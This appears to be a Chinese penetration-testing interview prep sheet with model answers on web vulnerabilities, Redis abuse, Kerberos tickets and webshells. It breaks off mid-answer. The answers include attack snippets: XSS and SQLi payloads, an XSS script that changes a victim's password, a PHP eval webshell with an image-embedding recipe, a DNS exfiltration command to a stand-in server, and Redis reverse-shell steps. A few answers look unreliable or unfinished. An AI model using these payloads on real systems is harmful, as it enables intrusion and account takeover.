

2026年上半年面试题总结

第1题：OWASP TOP 10漏洞的了解

问题：OWASP TOP 10漏洞是否有了解？最新是哪一年发布的？25年发布的和24年发布的有什么区别？描述下最新发布的TOP 10漏洞主要包含的内容有哪些？

标准答案：

OWASP TOP 10是开放Web应用安全项目发布的Web应用安全风险排名，每3-4年更新一次。

发布时间：最新一版为OWASP TOP 10 2025（2025年发布），上一版为2021版。

2025版与2021版的主要区别：

- 2025版新增了与AI/LLM相关的安全风险
- 对部分类别进行了合并或拆分调整
- 更新了统计数据 and 威胁趋势

OWASP TOP 10 2021（当前广泛使用版本）包含：

1. **A01:2021 失效的访问控制（Broken Access Control）** — 从2017版的第5位上升至第1位
2. **A02:2021 加密机制失效（Cryptographic Failures）** — 原"敏感数据暴露"
3. **A03:2021 注入（Injection）** — 从第1位下降至第3位
4. **A04:2021 不安全设计（Insecure Design）** — 新增类别
5. **A05:2021 安全配置错误（Security Misconfiguration）**
6. **A06:2021 自带缺陷和过时的组件（Vulnerable and Outdated Components）**
7. **A07:2021 身份识别和身份验证失败（Identification and Authentication Failures）**
8. **A08:2021 软件和数据完整性故障（Software and Data Integrity Failures）** — 新增
9. **A09:2021 安全日志和监控失败（Security Logging and Monitoring Failures）**
10. **A10:2021 服务端请求伪造（SSRF）** — 新增

第2题：SQL注入漏洞的检测与判断

问题：以SQL注入漏洞为例，在漏洞挖掘过程中，你怎么去判断一个网站是否存在SQL注入？在什么样的情况下会去测试网站是否存在SQL注入漏洞？怎么去判断数据传输是和数据库进行的交互？

标准答案：

判断SQL注入的方法：

1. **输入特殊字符探测：** 在输入参数中单引号 `'`、双引号 `"`、分号 `;`、注释符 `--`、`#` 等特殊字符，观察页面是否报错或行为异常
2. **逻辑判断法：** 输入 `1' AND '1'='1`（页面正常）和 `1' AND '1'='2`（页面异常），对比响应差异
3. **报错注入探测：** 观察是否有数据库报错信息泄露，如MySQL报错、Oracle报错等

4. 时间盲注探测：输入 `SLEEP(5)` 等时间延迟函数，观察响应时间是否变化

5. 联合查询探测：使用 `ORDER BY` 判断列数，`UNION SELECT` 探测回显位置

常见的SQL注入测试场景：

- URL参数（`?id=1`）
- 搜索框
- 登录表单
- 表单提交的所有输入点
- HTTP头（User-Agent、Referer、Cookie等）
- API接口的JSON/XML参数

判断数据传输是否与数据库交互：

- 输入特殊字符后页面返回数据库错误信息
- 参数变化直接影响页面展示内容（如 `id=1` 显示第一条记录，`id=2` 显示第二条）
- 使用SQL注入工具（如sqlmap）自动检测确认
- 观察响应时间变化（时间盲注）

第3题：SSRF漏洞的全称

问题：SSRF漏洞的全称是什么？

标准答案：

SSRF全称：**Server-Side Request Forgery**（服务器端请求伪造）

它是一种由攻击者构造形成由服务端发起请求的安全漏洞。攻击者可以伪造服务端请求，攻击内网服务、读取本地文件、扫描内网端口等。本质上是因为服务端提供了从其他地址获取数据的功能，且未对请求地址做严格校验。

第4题：渗透测试常用工具及插件

问题：你做渗透测试的时候，使用的工具有哪些？常用工具的常用插件有哪些？

标准答案：

常用渗透测试工具：

1. **Burp Suite** — Web渗透测试核心工具
 - 常用插件：Autorize（越权检测）、HaE（高亮提取）、Turbo Intruder（高速爆破）、JWT Editor（JWT编辑）、Log4j2 Scan、JS Link Finder等
2. **sqlmap** — 自动化SQL注入工具
3. **Nmap** — 端口扫描与服务识别
4. **Metasploit Framework (MSF)** — 渗透测试框架
5. **Cobalt Strike (CS)** — 红队攻防框架
6. **Goby** — 自动化漏洞扫描与利用

7. **dirsearch / dirb / ffuf** — 目录扫描
 8. **Xray** — 被动漏洞扫描
 9. **蚁剑 / 冰蝎 / Godzilla** — Webshell管理工具
 10. **Wireshark / tcpdump** — 流量分析
 11. **Frida / Xposed** — 移动端Hook工具
 12. **Mimikatz** — Windows凭证提取
-

第5题：Oracle数据库默认端口

问题：Oracle数据库默认开放的端口是哪个？

标准答案：

Oracle数据库默认开放的端口是 **1521**（TNS Listener端口）。

常见Oracle相关端口：

- **1521** — TNS Listener（默认数据库监听端口）
 - **1158** — Oracle Enterprise Manager (OEM)
 - **5500** — Oracle Enterprise Manager Express (EM Express)
 - **8080** — Oracle XML DB (XDB)
 - **22** — Oracle SSH（Oracle Linux）
-

第6题：FTP端口与域控服务器判断

问题：21端口默认对应的是什么服务？在内网渗透测试中，如何判断一台服务器是否是域控服务器？

标准答案：

21端口 默认对应 **FTP**（文件传输协议）服务。

判断域控服务器的方法：

1. **端口探测**：域控服务器通常开放以下特征端口：
 - **88** — Kerberos认证
 - **389/636** — LDAP/LDAPS（域服务）
 - **445** — SMB（文件共享/域通信）
 - **135** — RPC
 - **53** — DNS（域控通常兼作DNS服务器）
 - **3268/3269** — Global Catalog
 2. **服务识别**：通过Nmap扫描识别Kerberos服务（端口88），Kerberos是域控的强特征
 3. **DNS查询**：通过DNS SRV记录查询 `_ldap._tcp.dc._msdcs.<域名>` 可定位域控
 4. **NetBIOS/SMB探测**：使用 `nbtscan` 或 `enum4linux` 探测域信息
 5. **尝试域认证**：使用 `rpcclient` 或 `crackmapexec` 尝试连接，成功则确认为域控
-

第7题：黄金票据和白银票据的区别

问题： 黄金票据（Golden Ticket）和白银票据（Silver Ticket）的区别是什么？

标准答案：

对比维度	黄金票据（Golden Ticket）	白银票据（Silver Ticket）
伪造对象	TGT（票据授权票据）	ST（服务票据）
所需密钥	krbtgt账户的NTLM哈希	目标服务账户的NTLM哈希
访问范围	可访问域内任何服务	只能访问特定服务
是否需要DC参与	不需要（完全离线伪造）	不需要（完全离线伪造）
持久性	默认有效期10年（可自定义）	默认有效期10年
检测难度	较难检测（不与DC交互）	更难检测（无DC交互记录）
利用前提	需获取krbtgt哈希（需域控权限）	需获取目标服务账户哈希
攻击阶段	获取域控权限后的持久化	针对特定服务的权限维持

总结： 黄金票据是"万能钥匙"，可以访问域内所有资源；白银票据是"专用钥匙"，只能访问特定服务，但更加隐蔽。

第8题：对安全行业的看法

问题： 你怎么看待安全这个行业？

标准答案：

- 【此题为开放性问题，以下为参考回答思路】
- 行业前景广阔：** 随着数字化转型、云计算、AI的快速发展，网络安全需求持续增长，国家政策（等保2.0、数据安全法、个人信息保护法）也在推动行业发展
 - 人才缺口大：** 网络安全人才供不应求，攻防对抗、安全运营、安全开发等方向都有较大需求
 - 技术更新快：** 需要持续学习，新技术（AI安全、物联网安全、云原生安全）不断涌现
 - 攻防对抗升级：** APT攻击、勒索软件等威胁日益复杂，对安全从业人员的技术能力要求越来越高
 - 个人发展：** 安全行业注重实战能力，技术成长路径清晰（渗透测试→安全研究→安全架构）

第9题：TOP 10漏洞原理描述

问题： OWASP TOP 10漏洞你了解哪部分？对了解的这几个漏洞的原理简单描述一下。

标准答案：

- 1. 失效的访问控制（Broken Access Control）**
 - 原理：应用未正确验证用户是否有权执行请求的操作，导致用户可以越权访问资源

- 例：水平越权（修改ID访问他人数据）、垂直越权（普通用户访问管理员功能）

2. 加密机制失效（Cryptographic Failures）

- 原理：敏感数据未加密或使用弱加密算法存储/传输，导致数据泄露
- 例：明文存储密码、使用MD5/SHA1、未使用HTTPS

3. 注入（Injection）

- 原理：用户输入的数据被当作命令/查询执行，常见的有SQL注入、命令注入、LDAP注入等
- 例：' OR 1=1 -- 绕过登录验证

4. 不安全设计（Insecure Design）

- 原理：应用在设计阶段就存在安全缺陷，缺乏对业务流程的安全考虑
- 例：密码重置流程设计缺陷导致可重置任意用户密码

5. 安全配置错误（Security Misconfiguration）

- 原理：系统/应用/数据库/服务器的安全配置不当
- 例：默认密码未修改、目录遍历、不必要的服务开放、详细错误信息暴露

6. 自带缺陷和过时的组件（Vulnerable and Outdated Components）

- 原理：使用的第三方库、框架、组件存在已知漏洞
- 例：Log4j2漏洞、Struts2漏洞、旧版OpenSSL

7. 身份识别和认证失败（Identification and Authentication Failures）

- 原理：身份验证机制存在缺陷，无法正确验证用户身份
- 例：弱密码政策、会话管理缺陷、缺乏多因素认证

8. 软件和数据完整性故障（Software and Data Integrity Failures）

- 原理：软件更新/CI/CD流程未验证完整性，供应链攻击
- 例：从不安全的源下载更新包、CI/CD管道被篡改

9. 安全日志和监控失败（Security Logging and Monitoring Failures）

- 原理：缺乏有效的安全日志记录和监控告警机制
- 例：登录失败不记录日志、无异常行为告警

10. 服务端请求伪造（SSRF）

- 原理：服务端根据用户提供的URL发起请求，攻击者可伪造请求访问内网资源
- 例：`http://169.254.169.254/latest/meta-data/` 读取云元数据

第10题：XSS漏洞的实际挖掘经验

问题：以XSS为例，你在正常的网站上面有挖掘到过XSS漏洞吗？

标准答案：

【此题为经验性问题，以下为参考回答思路】

XSS（跨站脚本攻击）漏洞挖掘的常见场景和方法：

1. **输入点测试：** 搜索框、评论区、用户资料编辑、URL参数等所有可以输入并展示的地方

2. **测试Payload：**

- 基础探测： `<script>alert(1)</script>`
- 事件触发： `<img src=x onerror=alert(1)>`
- 编码绕过：URL编码、HTML实体编码、Unicode编码
- 过滤绕过：大小写混合、双写、换行符、注释符

3. **常见绕过方式：**

- WAF绕过：使用不常见的标签/事件
- CSP绕过：利用JSONP接口、`data:` 协议等
- 利用 `<svg>`、`<math>` 等标签

4. **工具辅助：** Burp Suite的Scanner模块、XSSStrike等自动化扫描工具

第11题：任意用户登录漏洞的原因

问题： 正常网站造成任意用户登录的问题，你觉得是什么原因导致的？

标准答案：

任意用户登录漏洞的产生原因主要包括：

1. **会话管理缺陷：**

- Session ID可预测（如按顺序递增、基于时间戳生成）
- 未对Session进行有效性校验
- Session固定漏洞（服务端不重新生成Session ID）

2. **Cookie/Token伪造：**

- Cookie中存储用户身份信息且可被篡改
- JWT密钥泄露或使用弱密钥，导致可伪造任意用户的Token
- Token加密方式可逆（如Base64编码而非加密）

3. **认证逻辑缺陷：**

- 登录接口存在逻辑漏洞，如可通过修改响应包中的用户ID实现登录
- "记住我"功能实现不当，token中明文包含用户标识
- OAuth回调地址校验不严

4. **密码重置/找回逻辑漏洞：**

- 验证码可爆破、可复用
- 验证码回传到客户端
- 重置链接token可预测

5. **SSO（单点登录）缺陷：**

- SSO Token生成机制存在缺陷

- 跨域认证信息校验不严

第12题：XSS漏洞的排名原因与深入利用

问题： XSS漏洞的弹窗效果没有SQL注入直接查询数据库危害这么明显，但历年OWASP TOP 10中XSS排名一直靠前。你觉得是什么原因？如果让你利用XSS漏洞进行深入利用，你会怎么操作？

标准答案：

XSS排名靠前的原因：

1. **影响面广：** XSS可以影响任何有用户输入的网站，攻击目标不仅是网站本身，更是网站的用户
2. **利用场景多样：** 可窃取Cookie/Session、劫持用户操作、钓鱼攻击、传播蠕虫等
3. **持久性威胁：** 存储型XSS可长期存在，持续影响访问用户
4. **社工攻击载体：** 结合钓鱼页面可实施精准社工攻击
5. **组合攻击入口：** 结合CSRF可执行跨站请求，结合其他漏洞可形成攻击链

XSS深入利用方法：

1. **窃取Cookie/Session：** `document.cookie` 发送到攻击者服务器，实现账号劫持
2. **键盘记录：** 使用JavaScript监听键盘事件，记录用户输入
3. **钓鱼攻击：** 伪造登录框覆盖原页面，骗取用户凭证
4. **蠕虫传播：** 在社交平台上利用存储型XSS实现自动传播（如Samy蠕虫）
5. **内网探测：** 利用用户浏览器作为跳板探测内网
6. **BeEF框架利用：** 使用BeEF框架对受控浏览器进行深度控制（弹窗、钓鱼、模块扩展等）
7. **结合CSRF：** 利用XSS漏洞发起CSRF攻击，以受害者身份执行操作
8. **钓鱼重定向：** 将用户重定向到钓鱼网站

第13题：XSS与CSRF组合利用

问题： XSS漏洞和CSRF漏洞的组合利用链路是怎样的？描述一下整个组合链路。

标准答案：

XSS + CSRF组合利用链路：

原理： XSS可以绕过同源策略的限制，在页面上下文中执行任意JavaScript代码，因此可以利用XSS来发起CSRF攻击。

攻击链路：

1. **步骤一：植入XSS**
 - 在目标网站找到一个存储型XSS漏洞（或反射型），注入恶意JS代码
2. **步骤二：构造CSRF Payload**
 - 在XSS的JS代码中构造CSRF请求（利用受害者浏览器自动携带Cookie）
 - 例如发起修改密码、转账、添加管理员等操作
3. **步骤三：执行攻击**

- 当受害者访问包含XSS的页面时，恶意JS自动执行
- JS通过 `fetch()` 或 `XMLHttpRequest` 向目标网站发送CSRF请求
- 由于请求来自同源，浏览器会自动携带受害者的Cookie

示例代码：

```
1 // XSS payload中嵌入CSRF攻击
2 var xhr = new XMLHttpRequest();
3 xhr.open("POST", "https://target.com/api/change-password", true);
4 xhr.withCredentials = true; // 自动携带Cookie
5 xhr.setRequestHeader("Content-Type", "application/json");
6 xhr.send(JSON.stringify({new_password: "hacked123"}));
```

优势：

- 相比传统CSRF（需要诱导用户点击链接），XSS+CSRF更加隐蔽
- 受害者无需任何操作（存储型XSS场景下自动触发）
- 可以读取响应结果，实现更复杂的攻击逻辑

第14题：了解的数据库有哪些

问题：你了解的主要数据库有哪些？

标准答案：

关系型数据库 (RDBMS)：

- MySQL — 开源，Web应用最常用，默认端口3306
- Oracle — 企业级，默认端口1521
- SQL Server — 微软，默认端口1433
- PostgreSQL — 开源，功能强大，默认端口5432
- SQLite — 嵌入式轻量级数据库
- DB2 — IBM企业级数据库
- MariaDB — MySQL分支

非关系型数据库 (NoSQL)：

- Redis — 内存数据库/缓存，默认端口6379
- MongoDB — 文档数据库，默认端口27017
- Elasticsearch — 搜索引擎数据库，默认端口9200
- Memcached — 缓存数据库，默认端口11211

其他：

- HBase — 大数据列式存储
- InfluxDB — 时序数据库
- Neo4j — 图数据库

第15题：Redis数据库利用链及数据库区别

问题：Redis数据库的利用链，有了解过吗？Redis数据库和MySQL还有SQL Server这种数据库的区别是什么？

标准答案：

Redis利用链：

1. 未授权访问写SSH公钥：

- 前提：Redis未授权访问 + root权限运行
- 通过 `CONFIG SET dir /root/.ssh/` + `CONFIG SET dbfilename authorized_keys` 写入公钥
- 实现SSH免密登录

2. 写Webshell：

- 前提：已知Web目录路径
- 通过 `CONFIG SET dir` 和 `CONFIG SET dbfilename` 写入Webshell到Web目录

3. 写定时任务反弹Shell：

- 写crontab文件实现反弹shell
- 注意：CentOS和Ubuntu的cron路径不同

4. 主从复制RCE：

- 利用Redis主从复制机制，加载恶意.so模块实现命令执行
- 工具：RedisModulesSlave

5. Lua脚本执行：

- 通过 `EVAL` 执行Lua脚本，在某些场景下可执行系统命令

Redis vs MySQL vs SQL Server区别：

对比维度	Redis	MySQL	SQL Server
数据模型	Key-Value内存数据库	关系型数据库	关系型数据库
存储方式	内存为主	磁盘存储	磁盘存储
默认端口	6379	3306	1433
查询语言	自有命令（GET/SET等）	SQL	T-SQL
主要用途	缓存、会话存储	Web应用后端	企业级应用
操作系统	Linux/Windows	跨平台	主要Windows
开源情况	开源（BSD/SSPL）	开源（GPL）	商业（有Express免费版）
性能	极高（内存操作）	较高	较高

第16题：Linux日志路径与临时目录

问题： Linux系统中日志存储一般放在哪个路径下？Linux的临时目录主要有哪些？

标准答案：

Linux日志存储路径： `/var/log/`

常见日志文件：

- `/var/log/syslog` 或 `/var/log/messages` — 系统日志
- `/var/log/auth.log` 或 `/var/log/secure` — 认证/授权日志
- `/var/log/nginx/access.log` — Nginx访问日志
- `/var/log/apache2/access.log` — Apache访问日志
- `/var/log/mysql/` — MySQL日志目录
- `/var/log/dpkg.log` — 软件安装日志
- `/var/log/boot.log` — 启动日志
- `/var/log/kern.log` — 内核日志

Linux临时目录：

- `/tmp` — 系统临时目录，所有用户可读写，重启后可能清除
- `/var/tmp` — 较持久的临时目录，重启后通常保留
- `/dev/shm` — 共享内存（tmpfs），存在于内存中，速度快但重启消失
- `/run` — 运行时数据（tmpfs）
- `/var/run` — 指向/run的软链接

第17题：Windows日志存储

问题： Windows系统中本地登录的日志存储在哪里？事件ID是多少？

标准答案：

Windows系统日志通过**事件查看器（Event Viewer）** 管理，存储在：

日志路径： `C:\Windows\System32\winevt\Logs\`

本地登录相关事件ID：

- **4624** — 登录成功（Logon Success）
- **4625** — 登录失败（Logon Failure）
- **4634** — 注销（Logoff）
- **4647** — 用户发起注销
- **4648** — 使用显式凭据尝试登录
- **4778/4779** — RDP会话重连/断开

登录类型（Logon Type）：

- **Type 2** — 交互式登录（本地键盘登录）
- **Type 3** — 网络登录（访问共享资源）
- **Type 5** — 服务登录（服务启动）
- **Type 10** — 远程交互式登录（RDP）

查看方式：`eventvwr.msc` 或 `wevtutil` 命令行

第18题：文件上传漏洞

问题：请描述一下文件上传漏洞。

标准答案：

文件上传漏洞是指Web应用在处理文件上传功能时，未对上传文件进行严格校验，导致攻击者可以上传恶意文件（如Webshell、恶意脚本）到服务器并执行的安全漏洞。

漏洞原理：

- 服务器提供文件上传功能但未严格限制文件类型、内容、大小等
- 攻击者上传可执行脚本文件，通过访问该文件触发恶意代码执行

常见绕过方式：

1. **前端验证绕过**：禁用JavaScript或使用Burp Suite拦截修改
2. **MIME类型绕过**：修改Content-Type为 `image/jpeg` 等
3. **文件扩展名绕过**：
 - 大小写变换：`.Php`
 - 双扩展名：`.php.jpg`
 - 特殊扩展名：`.php5`、`.phtml`、`.php3`
 - `.htaccess` 上传：修改Apache解析规则
 - `.user.ini` 上传：修改PHP配置
 - 空格/点号绕过（Windows）：`shell.php .`
 - `::$DATA` 流（Windows NTFS）：`shell.php::$DATA`
4. **文件头检测绕过**：在恶意文件头部添加图片文件头（如GIF89a）
5. **内容检测绕过**：保留真实图片内容，在注释区嵌入代码
6. **二次渲染绕过**：针对图片二次渲染的绕过（较复杂）
7. **条件竞争**：上传文件后被删除，利用时间差访问

防御措施：

- 白名单校验文件扩展名
- 文件内容检测（文件头魔数）
- 上传文件重命名
- 上传目录禁止执行权限
- 独立域名存储上传文件

第19题：图片马的原理

问题： 图片马这一块，为什么本身上传的是一个图片，但是这个图片会被当成脚本文件或者后门文件去执行？导致这个问题产生的原因是什么？

标准答案：

图片马的原理：

图片马是将一句话木马隐藏在图片文件中，利用服务器解析漏洞或文件包含漏洞使其被当作脚本执行。

产生原因：

1. 文件包含漏洞（核心原因）：

- 当应用存在本地文件包含（LFI）漏洞时，可以用 `include()` 函数包含图片文件
- PHP的 `include` 不检查文件扩展名，只检查文件内容中的PHP标签
- 如： `include("upload/avatar.jpg")`，图片中的 `<?php @eval($_POST['cmd']);?>` 会被执行

2. 解析漏洞：

- Apache多后缀解析： `shell.php.jpg` 可能被当作PHP解析（旧版本配置问题）
- IIS解析漏洞： `shell.jpg/.php` 被当作PHP执行
- Nginx解析漏洞：配合文件上传， `shell.jpg` 加上 `/.php` 后缀可被当作PHP执行

3. 图片马制作方式：

```
1 # 方式一：copy命令合并（windows）
2 copy /b image.jpg + shell.php output.jpg
3
4 # 方式二：十六进制编辑器直接在图片末尾插入PHP代码
5 # 方式三：使用Exif信息嵌入代码
```

生效前提：

- 必须配合文件包含漏洞或服务器解析漏洞
- 单独上传的图片马不会被直接执行

第20题：图片马的使用场景

问题： 你在什么样的情况下会选择使用图片马？

标准答案：

使用图片马的典型场景：

1. 文件上传限制严格时：

- 网站只允许上传图片格式文件（jpg/png/gif）
- 无法直接上传.php/.jsp/.asp等脚本文件
- 配合文件包含漏洞实现代码执行

2. WAF/安全设备绕过：

- 安全设备对脚本文件上传有检测和拦截
- 图片文件不容易被安全设备标记为恶意文件

3. 需要持久化隐藏时：

- 图片马混在正常图片文件中不易被发现
- 在文件管理中不容易被管理员注意到

4. 文件包含漏洞利用场景：

- 目标存在 `include() / require()` 函数调用用户可控的路径
- 上传的图片马可以被包含执行

5. 配合其他漏洞组合利用：

- 配合本地文件包含（LFI）漏洞
- 配合 `php://filter` 伪协议
- 配合日志文件包含

第21题：验证后门文件生效的方式

问题：除了使用Godzilla等连接工具直接连接上传的后门文件，还可以通过哪些方式判断上传的后门文件已经生效？

标准答案：

1. 浏览器直接访问：

- 访问上传的文件URL，观察是否有预期响应（如空白页、特定输出）
- 对于一句话木马，访问后应返回空白或特定提示，而非404/500错误

2. HTTP状态码判断：

- 访问后门文件返回200状态码（而非403/404/500），说明文件存在且可被解析
- 使用curl或浏览器开发者工具查看响应码

3. 执行简单命令测试：

- 向一句话木马发送POST请求，执行简单命令（如 `echo test`）
- 使用curl：`curl -X POST -d "cmd=echo test" http://target.com/shell.php`
- 观察响应中是否包含命令执行结果

4. 写入测试文件验证：

- 通过后门执行写文件命令（如写入一个 `test.txt`）
- 通过Web访问确认测试文件是否成功写入

5. DNS外带验证：

- 执行DNS查询命令：`nslookup $(whoami).yourserver.com`
- 在自己的DNS服务器上查看是否收到请求，确认命令执行成功

6. HTTP响应内容差异：

- 发送特定参数，对比正常请求和后门文件请求的响应差异
- 如传入 `phpinfo()` 看是否返回PHP配置信息

第22题：木马连接断开的原因排查

问题：上传了一个木马，连线约5分钟后断开了，再连就连接不上。如何判断原因？可能原因有哪些？

标准答案：

排查思路：

1. 确认网络连通性：

- ping目标IP看是否可达
- 使用nmap扫描目标端口，确认端口是否开放
- 检查是否是IP被封禁/网络隔离

2. 确认文件是否还存在：

- 访问后门文件URL，看是否返回404
- 检查是否被安全软件/管理员清除

3. 检查是否有安全设备拦截：

- 是否触发了WAF/IDS/IPS规则
- 是否被EDR/杀毒软件检测并隔离

可能原因：

1. **安全软件查杀：** 服务器杀毒软件/EDR检测到木马并隔离/删除
2. **管理员发现并清除：** 运维/安全人员巡检发现异常文件
3. **连接被安全设备阻断：** 流量层检测到异常通信，防火墙/IPS阻断连接
4. **会话超时：** Webshell会话超时机制（如PHP的 `session.gc_maxlifetime`）
5. **服务器重启/更新：** 服务器重启导致内存型后门失效，或文件被覆盖
6. **IP被封禁：** 异常连接触发安全策略，攻击者IP被封
7. **资源清理：** 系统自动清理/tmp目录或临时文件
8. **网络变化：** 目标网络策略变更、VPN断开等
9. **容器/虚拟化环境：** 容器被回收或重新调度
10. **免杀失效：** 初期绕过检测但后续特征库更新后被识别

第23题：对安全环境的看法

问题：你对现在的安全环境和安全工作环境怎么看？

标准答案：

【此题为开放性问题，以下为参考回答思路】

1. 行业环境：

- 国家重视程度提升（网络安全法、数据安全法、关键信息基础设施保护条例）
- 企业安全投入逐年增长，安全意识提升
- 攻防对抗加剧，APT攻击和勒索软件威胁增大

2. 工作环境：

- 甲方安全岗位：安全建设、合规、安全运营为主
- 乙方安全岗位：渗透测试、安服、驻场为主
- 安全厂商：产品研发、安全研究

3. 挑战与机遇：

- 新技术（云、AI、IoT）带来新安全挑战
- 攻防实战化（HW行动）推动安全能力提升
- 安全人才缺口仍然存在

第24题：安全论坛

问题：你关注过哪些安全论坛/社区？

标准答案：

【参考回答】

国内安全社区：

- FreeBuf — 国内知名安全媒体/社区
- 先知社区（阿里云） — 技术分享平台
- 看雪论坛 — 老牌安全技术论坛（逆向/渗透）
- 吾爱破解 — 逆向工程社区
- T00ls — 渗透测试技术社区
- 安全客 — 安全资讯与技术
- 漏洞盒子/补天 — 漏洞响应平台
- 跳跳糖 — 安全社区

国外安全社区：

- HackerOne / Bugcrowd — 漏洞赏金平台
 - Exploit-DB — 漏洞利用数据库
 - PortSwigger Research — Web安全研究
 - The Hacker News — 安全资讯
 - Reddit r/netsec — 网络安全讨论
 - OWASP — 开源Web安全项目
 - Medium InfoSec Write-ups — 安全技术文章
-

第25题：内网渗透的难点

问题： 你觉得现在内网渗透的难点主要是什么？

标准答案：

1. 安全设备部署完善：

- 内网部署IDS/IPS、流量分析、EDR等安全设备
- 异常流量和行为容易被检测

2. 网络隔离与分段：

- VLAN划分、安全域隔离限制横向移动
- 零信任架构逐渐普及

3. 认证机制强化：

- 多因素认证（MFA）增加凭证窃取难度
- 域环境安全加固（如Protected Users组、LAPS）

4. 补丁管理加强：

- 企业及时修补已知漏洞
- 可利用的0day成本高

5. 监控与审计：

- 日志集中收集（SIEM/SOC）
- 异常行为分析（UEBA）
- 蜜罐/蜜网部署

6. 权限最小化：

- 最小权限原则实施
- 服务账户权限收紧

7. 环境复杂性：

- 异构环境（Windows/Linux/云）
- 容器化、微服务架构增加攻击面复杂度

第26题：TCP协议与OSI模型

问题： TCP协议简单描述一下。OSI的7层模型是哪7层？

标准答案：

TCP协议描述：

- 全称：Transmission Control Protocol（传输控制协议）
- 面向连接的、可靠的、基于字节流的传输层协议
- 三次握手建立连接，四次挥手断开连接
- 提供流量控制、拥塞控制、差错校验、数据排序等机制

TCP三次握手：

1. 客户端发送SYN（同步）报文
2. 服务端回复SYN+ACK（同步+确认）
3. 客户端发送ACK（确认），连接建立

OSI七层模型：

1. 物理层（Physical Layer） — 比特流传输（网线、光纤）
2. 数据链路层（Data Link Layer） — 帧传输（MAC地址、交换机）
3. 网络层（Network Layer） — 数据包路由（IP地址、路由器）
4. 传输层（Transport Layer） — 端到端通信（TCP/UDP）
5. 会话层（Session Layer） — 会话管理
6. 表示层（Presentation Layer） — 数据格式转换/加密
7. 应用层（Application Layer） — 用户接口（HTTP/FTP/SMTP）

TCP/IP四层模型：

1. 网络接口层（对应OSI物理层+数据链路层）
2. 网络层（对应OSI网络层）
3. 传输层（对应OSI传输层）
4. 应用层（对应OSI会话层+表示层+应用层）

第27题：HTTP/HTTPS协议

问题： HTTP协议的全称是什么？ HTTPS中的S指的是什么？ HTTPS对应的加密协议是哪个？

标准答案：

- **HTTP全称：** HyperText Transfer Protocol（超文本传输协议）
- **HTTPS中的S：** Secure（安全的）
- **HTTPS = HTTP + SSL/TLS**

HTTPS对应的加密协议：

- **SSL**（Secure Sockets Layer） — 早期版本（SSL 2.0/3.0，已弃用）
- **TLS**（Transport Layer Security） — 当前使用的协议
 - TLS 1.0/1.1 — 已弃用
 - TLS 1.2 — 目前广泛使用
 - TLS 1.3 — 最新版本，更安全更快

HTTPS工作原理（简要）：

1. 客户端发起HTTPS请求，发送支持的加密套件列表
2. 服务端返回证书（包含公钥）
3. 客户端验证证书合法性，生成随机对称密钥，用公钥加密后发送
4. 服务端用私钥解密获得对称密钥
5. 后续通信使用对称密钥加密（混合加密机制）

HTTP默认端口80，HTTPS默认端口443。

第28题：不同数据库注入的区别与Oracle漏洞

问题： 不同数据库的注入手段是否一样？ Oracle和MySQL的注入手段有哪些区别？ Oracle默认端口是多少？ 获取Oracle数据库权限后可直接获取服务器权限的漏洞是哪个？

标准答案：

不同数据库注入手段不完全相同， 因为各数据库的SQL语法、函数、权限模型不同。

Oracle vs MySQL注入区别：

对比维度	MySQL	Oracle
注释符	--、#	--（必须跟空格）
字符串连接	直接拼接	\\ \\ （双竖线）
版本查询	version()	(SELECT banner FROM v\$version WHERE rownum=1)
当前用户	user()、current_user	SYS.LOGINUSER、SELECT user FROM dual
当前数据库	database()	SELECT global_name FROM global_name
表名查询	information_schema.tables	all_tables、dba_tables
列名查询	information_schema.columns	all_tab_columns
LIMIT	LIMIT 0,1	WHERE rownum<=1
布尔盲注	支持	支持（需通过 UTL_HTTP 等方式外带）
堆叠注入	部分支持	不直接支持
文件操作	LOAD_FILE()、INTO OUTFILE	UTL_FILE 包

Oracle默认端口： 1521

获取Oracle服务器权限的漏洞：

这里可能指的是以下几个漏洞之一：

- Oracle TNS Listener远程漏洞（如CVE-2012-1675 TNS poisoning）
- Oracle Java反序列化漏洞
- Oracle WebLogic相关漏洞（如CVE-2019-2725、CVE-2023-21839等IIOP反序列化漏洞）
- Oracle数据库权限提升： 获取DBA权限后通过 DBMS_SCHEDULER、 UTL_FILE、 Java存储过程 等方式执行系统命令

【具体漏洞名称需根据上下文确认，标注为待补充】

第29题：SSRF漏洞

问题：SSRF漏洞是什么？可以利用SSRF漏洞获取到哪些信息？

标准答案：

SSRF (Server-Side Request Forgery)： 服务端请求伪造，攻击者伪造服务端发起的请求，利用服务端作为跳板攻击内部资源。

可利用SSRF获取的信息/实现的攻击：

1. 内网信息探测：

- 扫描内网端口，发现内网服务
- 识别内网服务版本（Banner信息）
- 探测内网拓扑结构

2. 敏感信息读取：

- 读取云服务器元数据：`http://169.254.169.254/latest/meta-data/`（AWS/阿里云等）
- 读取本地文件：`file:///etc/passwd`
- 读取环境变量

3. 攻击内网服务：

- 攻击内网Web应用（无外网入口的服务）
- 攻击内网Redis（未授权访问）
- 攻击内网数据库

4. 利用协议特性：

- `gopher://` 协议：可构造任意TCP请求（攻击内网Redis、FastCGI等）
- `dict://` 协议：探测端口和服务信息
- `file://` 协议：读取本地文件
- `http(s)://` 协议：访问内网Web服务

5. 钓鱼攻击：以服务器身份访问钓鱼页面

第30题：逻辑漏洞与访问控制

问题：说一个你比较熟悉的逻辑漏洞。基于访问控制的话，会产生哪些逻辑漏洞？

标准答案：

常见的逻辑漏洞：

1. 越权访问（最典型）：

- 水平越权：同级别用户之间互相访问数据
- 垂直越权：低权限用户访问高权限功能

2. 支付逻辑漏洞：

- 修改价格参数（如将金额改为0.01或负数）
- 数量修改（负数导致退款）

- 优惠券/折扣叠加利用

3. 验证码逻辑漏洞：

- 验证码不回服务端校验
- 验证码可重复使用
- 验证码可预测/可识别

4. 密码重置逻辑漏洞：

- 重置token可预测
- 验证码回传到前端
- 可暴力破解验证码

5. 条件竞争（Race Condition）：

- 并发请求导致重复领取奖励/提现

基于访问控制的逻辑漏洞：

- 水平越权 — 修改ID参数访问他人数据
- 垂直越权 — 普通用户调用管理员接口
- 未授权访问 — 未登录即可访问需认证的资源
- IDOR（不安全的直接对象引用） — 通过枚举ID获取数据

第31题：越权漏洞的成因与功能点

问题：从代码层面考虑，是什么原因导致越权漏洞的产生？哪些功能点会存在越权漏洞？

标准答案：

代码层面成因：

1. 缺乏服务端权限校验：

- 后端接口未验证当前用户是否有权操作目标资源
- 仅依赖前端隐藏按钮/链接来控制权限

2. 仅依赖客户端标识：

- 通过前端传递的用户ID参数确定操作对象
- 如 `/api/user/delete?userId=123`，未校验请求者身份

3. Session/Token校验缺失：

- 接口未校验请求中的认证信息
- 使用可篡改的Cookie值判断用户身份

4. 权限模型设计缺陷：

